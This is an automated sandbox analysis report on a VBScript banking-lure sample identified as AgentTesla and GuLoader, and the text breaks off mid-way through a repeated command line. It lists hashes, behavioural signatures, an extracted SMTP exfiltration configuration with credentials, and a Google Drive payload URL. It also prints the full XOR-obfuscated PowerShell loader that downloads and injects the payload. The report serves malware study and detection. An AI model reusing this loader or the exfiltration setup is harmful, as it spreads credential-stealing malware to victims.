Analysis
-
max time kernel
91s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
08-02-2023 18:41
Static task
static1
Behavioral task
behavioral1
Sample
justificante de transferencia.vbs
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
justificante de transferencia.vbs
Resource
win10v2004-20220901-en
General
-
Target
justificante de transferencia.vbs
-
Size
124KB
-
MD5
2c5add519c94bcfa2e7c1064ceb64736
-
SHA1
af99c8f0fb30a9a4fac437aa427ef44e41b535f9
-
SHA256
b916b37fcc5b1f5a77f6ff3c36904e9f20cdea77266acbe3566f3459d8c1f1d0
-
SHA512
7fd3feb9ebf3ddd7c21f2223324ff3ead68e34a799d2f2f21309a489abf4f59220880279cf77fba88322cb1d9ec6ef218c4febb6071695a7d809e4ea4e682913
-
SSDEEP
3072:FrDq3Cj8LqEN9cy7jPLWCuHoq0lgmfaZXAR:1Dw/m09cyXYH/0lLQO
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH
Extracted
agenttesla
Protocol: smtp- Host:
mail.heladospalacio.com - Port:
587 - Username:
[email protected] - Password:
Drs4x0!6 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 3 IoCs
Processes:
WScript.exepowershell.exeflow pid process 3 760 WScript.exe 11 3740 powershell.exe 13 3740 powershell.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.execaspol.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe caspol.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 50 api.ipify.org 51 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
caspol.exepid process 4872 caspol.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.execaspol.exepid process 3740 powershell.exe 4872 caspol.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3740 set thread context of 4872 3740 powershell.exe caspol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
WScript.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 1704 powershell.exe 1704 powershell.exe 3740 powershell.exe 3740 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3740 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.execaspol.exedescription pid process Token: SeDebugPrivilege 1704 powershell.exe Token: SeDebugPrivilege 3740 powershell.exe Token: SeDebugPrivilege 4872 caspol.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 760 wrote to memory of 4092 760 WScript.exe cmd.exe PID 760 wrote to memory of 4092 760 WScript.exe cmd.exe PID 760 wrote to memory of 260 760 WScript.exe cmd.exe PID 760 wrote to memory of 260 760 WScript.exe cmd.exe PID 760 wrote to memory of 1704 760 WScript.exe powershell.exe PID 760 wrote to memory of 1704 760 WScript.exe powershell.exe PID 1704 wrote to memory of 3740 1704 powershell.exe powershell.exe PID 1704 wrote to memory of 3740 1704 powershell.exe powershell.exe PID 1704 wrote to memory of 3740 1704 powershell.exe powershell.exe PID 3740 wrote to memory of 4872 3740 powershell.exe caspol.exe PID 3740 wrote to memory of 4872 3740 powershell.exe caspol.exe PID 3740 wrote to memory of 4872 3740 powershell.exe caspol.exe PID 3740 wrote to memory of 4872 3740 powershell.exe caspol.exe -
outlook_office_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
outlook_win_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\justificante de transferencia.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\System32\cmd.execmd /c echo off2⤵PID:4092
-
C:\Windows\System32\cmd.execmd /c echo rshell2⤵PID:260
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$stillsud = """Function Obli11 { param([String]`$Broo); `$Grnsund = ''; Write-Host `$Grnsund; Write-Host `$Grnsund; Write-Host `$Grnsund; `$Unconduc = New-Object byte[] (`$Broo.Length / 2); For(`$rubigi=0; `$rubigi -lt `$Broo.Length; `$rubigi+=2){ `$Unconduc[`$rubigi/2] = [convert]::ToByte(`$Broo.Substring(`$rubigi, 2), 16); `$Endysist = (`$Unconduc[`$rubigi/2] -bxor 241); `$Unconduc[`$rubigi/2] = `$Endysist; } [String][System.Text.Encoding]::ASCII.GetString(`$Unconduc);}`$Bandlyses0=Obli11 'A2888285949CDF959D9D';`$Bandlyses1=Obli11 'BC9892839E829E9785DFA6989FC2C3DFA49F82909794BF9085988794BC9485999E9582';`$Bandlyses2=Obli11 'B69485A1839E92B0959583948282';`$Bandlyses3=Obli11 'A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497';`$Bandlyses4=Obli11 '828583989F96';`$Bandlyses5=Obli11 'B69485BC9E95849D94B9909F959D94';`$Bandlyses6=Obli11 'A3A5A281949298909DBF909C94DDD1B9989594B388A29896DDD1A184939D9892';`$Bandlyses7=Obli11 'A3849F85989C94DDD1BC909F90969495';`$Bandlyses8=Obli11 'A394979D9492859495B5949D9496908594';`$Bandlyses9=Obli11 'B89FBC949C9E8388BC9E95849D94';`$Presuffer0=Obli11 'BC88B5949D9496908594A5888194';`$Presuffer1=Obli11 'B29D908282DDD1A184939D9892DDD1A294909D9495DDD1B09F8298B29D908282DDD1B084859EB29D908282';`$Presuffer2=Obli11 'B89F879E9A94';`$Presuffer3=Obli11 'A184939D9892DDD1B9989594B388A29896DDD1BF9486A29D9E85DDD1A798838584909D';`$Presuffer4=Obli11 'A798838584909DB09D9D9E92';`$Presuffer5=Obli11 '9F85959D9D';`$Presuffer6=Obli11 'BF85A1839E85949285A798838584909DBC949C9E8388';`$Presuffer7=Obli11 'B8B4A9';`$Presuffer8=Obli11 'AD';`$papa=Obli11 'A4A2B4A3C2C3';`$Prodigalis=Obli11 'B2909D9DA6989F959E86A1839E92B0';function fkp {Param (`$Destabili, `$Skrifts) ;`$Gastrosc0 =Obli11 'D5BC9092839E929D989C90D1CCD1D9AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB69485B08282949C939D989482D9D8D18DD1A699948394DCBE939B949285D18AD1D5AEDFB69D9E93909DB08282949C939D88B290929994D1DCB09F95D1D5AEDFBD9E929085989E9FDFA2819D9885D9D5A18394828497979483C9D8AADCC0ACDFB48084909D82D9D5B3909F959D88829482C1D8D18CD8DFB69485A5888194D9D5B3909F959D88829482C0D8';.(`$Presuffer7) `$Gastrosc0;`$Gastrosc5 = Obli11 'D5A9949F9E828290D1CCD1D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C3DDD1AAA5888194AAACACD1B1D9D5B3909F959D88829482C2DDD1D5B3909F959D88829482C5D8D8';.(`$Presuffer7) `$Gastrosc5;`$Gastrosc1 = Obli11 '83948584839FD1D5A9949F9E828290DFB89F879E9A94D9D59F849D9DDDD1B1D9AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497ACD9BF9486DCBE939B949285D1A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497D9D9BF9486DCBE939B949285D1B89F85A18583D8DDD1D9D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C4D8D8DFB89F879E9A94D9D59F849D9DDDD1B1D9D5B59482859093989D98D8D8D8D8DDD1D5A29A8398978582D8D8';.(`$Presuffer7) `$Gastrosc1;}function GDT {Param ([Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$Indish,[Parameter(Position = 1)] [Type] `$konk = [Void]);`$Gastrosc2 = Obli11 'D5B3848385889E879483D1CCD1AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB59497989F94B5889F909C9892B08282949C939D88D9D9BF9486DCBE939B949285D1A2888285949CDFA394979D949285989E9FDFB08282949C939D88BF909C94D9D5B3909F959D88829482C9D8D8DDD1AAA2888285949CDFA394979D949285989E9FDFB49C9885DFB08282949C939D88B384989D959483B09292948282ACCBCBA3849FD8DFB59497989F94B5889F909C9892BC9E95849D94D9D5B3909F959D88829482C8DDD1D597909D8294D8DFB59497989F94A5888194D9D5A18394828497979483C1DDD1D5A18394828497979483C0DDD1AAA2888285949CDFBC849D859892908285B5949D9496908594ACD8';.(`$Presuffer7) `$Gastrosc2;`$Gastrosc3 = Obli11 'D5B3848385889E879483DFB59497989F94B29E9F8285838492859E83D9D5B3909F959D88829482C7DDD1AAA2888285949CDFA394979D949285989E9FDFB2909D9D989F96B29E9F87949F85989E9F82ACCBCBA285909F95908395DDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.(`$Presuffer7) `$Gastrosc3;`$Gastrosc4 = Obli11 'D5B3848385889E879483DFB59497989F94BC9485999E95D9D5A18394828497979483C3DDD1D5A18394828497979483C2DDD1D59A9E9F9ADDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.(`$Presuffer7) `$Gastrosc4;`$Gastrosc5 = Obli11 '83948584839FD1D5B3848385889E879483DFB28394908594A5888194D9D8';.(`$Presuffer7) `$Gastrosc5 ;}`$Paleoant = Obli11 '9A94839F949DC2C3';`$Obli03 = Obli11 'B69485B29E9F829E9D94A6989F959E86';`$Obli00=Obli11 'A2999E86A6989F959E86';`$Obli01 = Obli11 'D5B79E8385909694839984D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5BE939D98C1C1D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Obli01;`$Obli02 = Obli11 'D5BC9E9587968590D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5BE939D98C1C2D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Obli02;`$Gastrosc7 = Obli11 'D5B583879D948382D1CCD1D5BC9E9587968590DFB89F879E9A94D9C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc7 = Obli11 'D5B79E8385909694839984DFB89F879E9A94D9D5B583879D948382DDD1C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc6 = Obli11 'D5BE9C938495829C909FD1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5A18394828497979483C5D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Gastrosc6;`$Depr = fkp `$Presuffer5 `$Presuffer6;`$Gastrosc7 = Obli11 'D59D9485859495C2D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C5C7DDD1C189C2C1C1C1DDD1C189C5C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc8 = Obli11 'D5B583909F9A9483D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C0C5C5C9C0C8C3DDD1C189C2C1C1C1DDD1C189C5D8';.(`$Presuffer7) `$Gastrosc8;`$Obli01 = 'https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH';`$Obli00 = Obli11 'D5B084839E9288909FD1CCD1D9BF9486DCBE939B949285D1BF9485DFA69493B29D98949F85D8DFB59E869F9D9E9095A28583989F96D9D5BE939D98C1C0D8';`$Gastrosc8 = Obli11 'D59D9485859495C3CCD5949F87CB90818195908590';.(`$Presuffer7) `$Gastrosc8;`$letted2=`$letted2+'\Forblo.dat';`$Aurocyan='';if (-not(Test-Path `$letted2)) {while (`$Aurocyan -eq '') {.(`$Presuffer7) `$Obli00;Start-Sleep 5;}Set-Content `$letted2 `$Aurocyan;}`$Aurocyan = Get-Content `$letted2;`$Gastrosc9 = Obli11 'D5B6908285839E8292D1CCD1AAA2888285949CDFB29E9F87948385ACCBCBB7839E9CB3908294C7C5A28583989F96D9D5B084839E9288909FD8';.(`$Presuffer7) `$Gastrosc9;`$Aurocyan0 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C1DDD1D1D59D9485859495C2DDD1C7C5C7D8';.(`$Presuffer7) `$Aurocyan0;`$Unerrantly132=`$Gastrosc.count-646;`$Aurocyan1 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C7C5C7DDD1D5B583909F9A9483DDD1D5A49F948383909F859D88C0C2C3D8';.(`$Presuffer7) `$Aurocyan1;`$Aurocyan2 = Obli11 'D5A194928584C8C2D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5A1839E959896909D9882D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Aurocyan2;`$Aurocyan3 = Obli11 'D5A194928584C8C2DFB89F879E9A94D9D59D9485859495C2DDD5B583909F9A9483DDD5B5948183DDC1DDC1D8';.(`$Presuffer7) `$Aurocyan3#;""";Function Aurocyan9 { param([String]$Broo); For($rubigi=0; $rubigi -lt $Broo.Length-1; $rubigi+=(0+1)){$Obli = $Obli + $Broo.Substring($rubigi, 1)}; $Obli;}$Masturbat1250 = Aurocyan9 'IEX ';$Masturbat1251= Aurocyan9 $stillsud;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Masturbat1251 ;}else{.$Masturbat1250 $Masturbat1251;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Obli11 { param([String]$Broo); $Grnsund = ''; Write-Host $Grnsund; Write-Host $Grnsund; Write-Host $Grnsund; $Unconduc = New-Object byte[] ($Broo.Length / 2); For($rubigi=0; $rubigi -lt $Broo.Length; $rubigi+=2){ $Unconduc[$rubigi/2] = [convert]::ToByte($Broo.Substring($rubigi, 2), 16); $Endysist = ($Unconduc[$rubigi/2] -bxor 241); $Unconduc[$rubigi/2] = $Endysist; } [String][System.Text.Encoding]::ASCII.GetString($Unconduc);}$Bandlyses0=Obli11 'A2888285949CDF959D9D';$Bandlyses1=Obli11 'BC9892839E829E9785DFA6989FC2C3DFA49F82909794BF9085988794BC9485999E9582';$Bandlyses2=Obli11 'B69485A1839E92B0959583948282';$Bandlyses3=Obli11 'A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497';$Bandlyses4=Obli11 '828583989F96';$Bandlyses5=Obli11 'B69485BC9E95849D94B9909F959D94';$Bandlyses6=Obli11 'A3A5A281949298909DBF909C94DDD1B9989594B388A29896DDD1A184939D9892';$Bandlyses7=Obli11 'A3849F85989C94DDD1BC909F90969495';$Bandlyses8=Obli11 'A394979D9492859495B5949D9496908594';$Bandlyses9=Obli11 'B89FBC949C9E8388BC9E95849D94';$Presuffer0=Obli11 'BC88B5949D9496908594A5888194';$Presuffer1=Obli11 'B29D908282DDD1A184939D9892DDD1A294909D9495DDD1B09F8298B29D908282DDD1B084859EB29D908282';$Presuffer2=Obli11 'B89F879E9A94';$Presuffer3=Obli11 'A184939D9892DDD1B9989594B388A29896DDD1BF9486A29D9E85DDD1A798838584909D';$Presuffer4=Obli11 'A798838584909DB09D9D9E92';$Presuffer5=Obli11 '9F85959D9D';$Presuffer6=Obli11 'BF85A1839E85949285A798838584909DBC949C9E8388';$Presuffer7=Obli11 'B8B4A9';$Presuffer8=Obli11 'AD';$papa=Obli11 'A4A2B4A3C2C3';$Prodigalis=Obli11 'B2909D9DA6989F959E86A1839E92B0';function fkp {Param ($Destabili, $Skrifts) ;$Gastrosc0 =Obli11 'D5BC9092839E929D989C90D1CCD1D9AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB69485B08282949C939D989482D9D8D18DD1A699948394DCBE939B949285D18AD1D5AEDFB69D9E93909DB08282949C939D88B290929994D1DCB09F95D1D5AEDFBD9E929085989E9FDFA2819D9885D9D5A18394828497979483C9D8AADCC0ACDFB48084909D82D9D5B3909F959D88829482C1D8D18CD8DFB69485A5888194D9D5B3909F959D88829482C0D8';.($Presuffer7) $Gastrosc0;$Gastrosc5 = Obli11 'D5A9949F9E828290D1CCD1D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C3DDD1AAA5888194AAACACD1B1D9D5B3909F959D88829482C2DDD1D5B3909F959D88829482C5D8D8';.($Presuffer7) $Gastrosc5;$Gastrosc1 = Obli11 '83948584839FD1D5A9949F9E828290DFB89F879E9A94D9D59F849D9DDDD1B1D9AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497ACD9BF9486DCBE939B949285D1A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497D9D9BF9486DCBE939B949285D1B89F85A18583D8DDD1D9D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C4D8D8DFB89F879E9A94D9D59F849D9DDDD1B1D9D5B59482859093989D98D8D8D8D8DDD1D5A29A8398978582D8D8';.($Presuffer7) $Gastrosc1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Indish,[Parameter(Position = 1)] [Type] $konk = [Void]);$Gastrosc2 = Obli11 'D5B3848385889E879483D1CCD1AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB59497989F94B5889F909C9892B08282949C939D88D9D9BF9486DCBE939B949285D1A2888285949CDFA394979D949285989E9FDFB08282949C939D88BF909C94D9D5B3909F959D88829482C9D8D8DDD1AAA2888285949CDFA394979D949285989E9FDFB49C9885DFB08282949C939D88B384989D959483B09292948282ACCBCBA3849FD8DFB59497989F94B5889F909C9892BC9E95849D94D9D5B3909F959D88829482C8DDD1D597909D8294D8DFB59497989F94A5888194D9D5A18394828497979483C1DDD1D5A18394828497979483C0DDD1AAA2888285949CDFBC849D859892908285B5949D9496908594ACD8';.($Presuffer7) $Gastrosc2;$Gastrosc3 = Obli11 'D5B3848385889E879483DFB59497989F94B29E9F8285838492859E83D9D5B3909F959D88829482C7DDD1AAA2888285949CDFA394979D949285989E9FDFB2909D9D989F96B29E9F87949F85989E9F82ACCBCBA285909F95908395DDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.($Presuffer7) $Gastrosc3;$Gastrosc4 = Obli11 'D5B3848385889E879483DFB59497989F94BC9485999E95D9D5A18394828497979483C3DDD1D5A18394828497979483C2DDD1D59A9E9F9ADDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.($Presuffer7) $Gastrosc4;$Gastrosc5 = Obli11 '83948584839FD1D5B3848385889E879483DFB28394908594A5888194D9D8';.($Presuffer7) $Gastrosc5 ;}$Paleoant = Obli11 '9A94839F949DC2C3';$Obli03 = Obli11 'B69485B29E9F829E9D94A6989F959E86';$Obli00=Obli11 'A2999E86A6989F959E86';$Obli01 = Obli11 'D5B79E8385909694839984D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5BE939D98C1C1D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Obli01;$Obli02 = Obli11 'D5BC9E9587968590D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5BE939D98C1C2D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Obli02;$Gastrosc7 = Obli11 